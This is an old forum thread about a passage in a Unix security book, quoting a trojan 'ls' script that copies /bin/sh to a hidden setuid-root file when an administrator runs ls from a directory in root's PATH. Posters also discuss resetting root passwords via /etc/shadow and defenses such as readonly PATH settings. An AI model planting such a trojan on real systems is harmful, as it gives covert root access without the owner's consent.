unix r00t

practicle unix and internet security page number 88 discusses a scenario where author needed to get someones root password who allowed him to get root access on that PC but denied to give root password for some reasons

he writes:
"first we create an executable shell file ls in current directory:
#!bin/sh
cp /bin/sh ./stuff/junk/.superdude
chmod 4555 ./stuff/junk/.superdude
rm -f $0
exec /bin/ls ${1+"$@"}

"

......superdude is suposed to be root
then he tricks administrator to SU to root and get into current directory and execute ls command the fake ls file in current directory is executed as it is in the current directory.
anyways i was just wondering if he had a root access to that PC did he really needed to do that after all it is just a trick i have heard that there is some way(not the password cracker) to get(or change unix password) provided that u have access to the system as root but don't know root password

If you have access to the system as root, but don't know the root password then you can edit the /etc/shadow file to remove the encrypted password. Then you can set the password to whatever you want. This method is also used to reset the root password using single user mode at boot.

That is why you should never stay logged in as root. You really don't need to logon as root anyway.
Just su when you need root privledges.

Then again, if you have physical access to a computer... the computer can always be compromised.

Please note: I have little experience with Unix. I use Linux. Should be the same though?

You see they got a root shell out of it.
. means your path, when he initiated su to root it assumed their path, the file in the directory they modified.

I scanned the page in the book so everyone could read the whole scenario.

http://img126.exs.cx/my.php?loc=img126&image=612.jpg

So if you're on page 88 you've already read about some of the major flaws in UNIX.

Quote:

---

Originally posted here by !mitationRust
. means your path, when he initiated su to root it assumed their path, the file in the directory they modified.
[/B]

---

Just to clarify, I believe "." refers to the current directory, just like ".." refers to the directory above the current one. If this directory (.--the current one) were placed at the end of the search path variable, then the administrator would have executed the real ls command, not the doctored one, and the "trick" would not have worked. The shell just followed the path already set for it (presumably by the admin).

Quote:

---

So if you're on page 88 you've already read about some of the major flaws in UNIX.

---

I would like to hear what some of the major flaws with Unix are.

Quote:

---

Originally posted here by devpon
I would like to hear what some of the major flaws with Unix are.

---

You know, I knew I would get a response out of that, I should've left it in the dark.

You would like to read some of the major flaws? I'm afraid I broke my stick on this dead horse awhile ago, but I'll let catch educate you on some of the flaws. *nix vs. ?, thread is not the same unless it has catch involved.
Here
Here
Here

Quote:

---

That is why you should never stay logged in as root. You really don't need to logon as root anyway.
Just su when you need root privledges.

---

That is exactly why (at least with Linux and the *BSD's), most modern Unices do NOT by default put the current directory (.) in root's path variable. Otherwise, an user could copy the script to every directory he had write access to and sooner or later, root would cd to that directory and run ls.

Cheers,
cgkanchi

Quote:

---

but I'll let catch educate you on some of the flaws.

---

Enough said.

Couple things to add if I may...

Any privileged account should never have '.' or '::' in their PATH. Both of these mean `in my current dirctory'. Watch out for frequent mispellings of commands such as 'mroe', 'passwrd', etc.. And pay careful attention to what IFC is set to.

For root, always use a shell that can set the environment variables as `read-only'. Most implementations of the Korn shell recognize 'typeset -xr VAR' to mean export the variable and set it to read-only.

UNIX (both commercial and free systems) can be extremely secure, just make sure you don't end up making the box entirely useless in the process.

-- spurious

I just want to state, that I'm reading this book and learned a whole bunch of things and I would recommend it to anyone. Interesting discussion here ;)

Quote:

---

Originally posted here by phishphreek80
If you have access to the system as root, but don't know the root password then you can edit the /etc/shadow file to remove the encrypted password. Then you can set the password to whatever you want. This method is also used to reset the root password using single user mode at boot.

---

Ever heard of passwd? If you're on as root just change the password, sheesh. You don't need to edit /etc/shadow.

Quote:

---

Originally posted here by !mitationRust
You would like to read some of the major flaws? I'm afraid I broke my stick on this dead horse awhile ago, but I'll let catch educate you on some of the flaws. *nix vs. ?, thread is not the same unless it has catch involved.

---

IOW, I don't actually know myself, so I will defer to someone else who I think knows. :rolleyes:
At any rate, it's useless to debate your non-statements based on someone else's statements that may or may not be correct.

Quote:

---

Originally posted here by spurious_inode For root, always use a shell that can set the environment variables as `read-only'. Most implementations of the Korn shell recognize 'typeset -xr VAR' to mean export the variable and set it to read-only.

---

Props to you spurious, for being the first person I've seen recommend this here in a long time.

Bash supports this as well, via the readonly built-in for existing exports/declarations:

Code:

---

root@Optimus:~# export PATH="$PATH:/home/chsh"
root@Optimus:~# readonly PATH
root@Optimus:~# export PATH="$PATH:."
-su: PATH: readonly variable

---

It should be in root's /etc/.bash_profile, or perhaps the system-wide /etc/profile if you want to do it for everyone. You should then lock down the profile files obviously, however if someone gets root on your system, your efforts will only lengthen the time it will take them to break it. :)

You can also optionally flag stuff as readonly when it's declared using the built-in declare.

Quote:

---

Ever heard of passwd? If you're on as root just change the password, sheesh. You don't need to edit /etc/shadow.

---

I am relatively sure that, in order to change a password using passwd, you need to enter the old password first. So, by deleting it in /etc/shadow, you can change a password without entering the old one because the system believes there was no password to begin with.

nifty trick, btw ;)

Quote:

---

Originally posted here by TheRepublican
I am relatively sure that, in order to change a password using passwd, you need to enter the old password first. So, by deleting it in /etc/shadow, you can change a password without entering the old one because the system believes there was no password to begin with.

nifty trick, btw ;)

---

You use Gentoo and you're Republican.... You'll end up burning in hell anyway.

How did you have time too post this in between security updates? Gentoo still poppin' out 2 a day?

And for the record, no you don't have too enter in the old password too use passwd. You type passwd and type the new password twice.

I think the point of the method from the book, vs the methods suggested in this thread, is to obtain the root password without changing it - secretly gaining access without breaking the original user's access as well.

If I'm wrong about the functionality of the book instructions, please let me know. If my comment was just too obvious for anyone to state it before this, I apologize for your wasted time. :)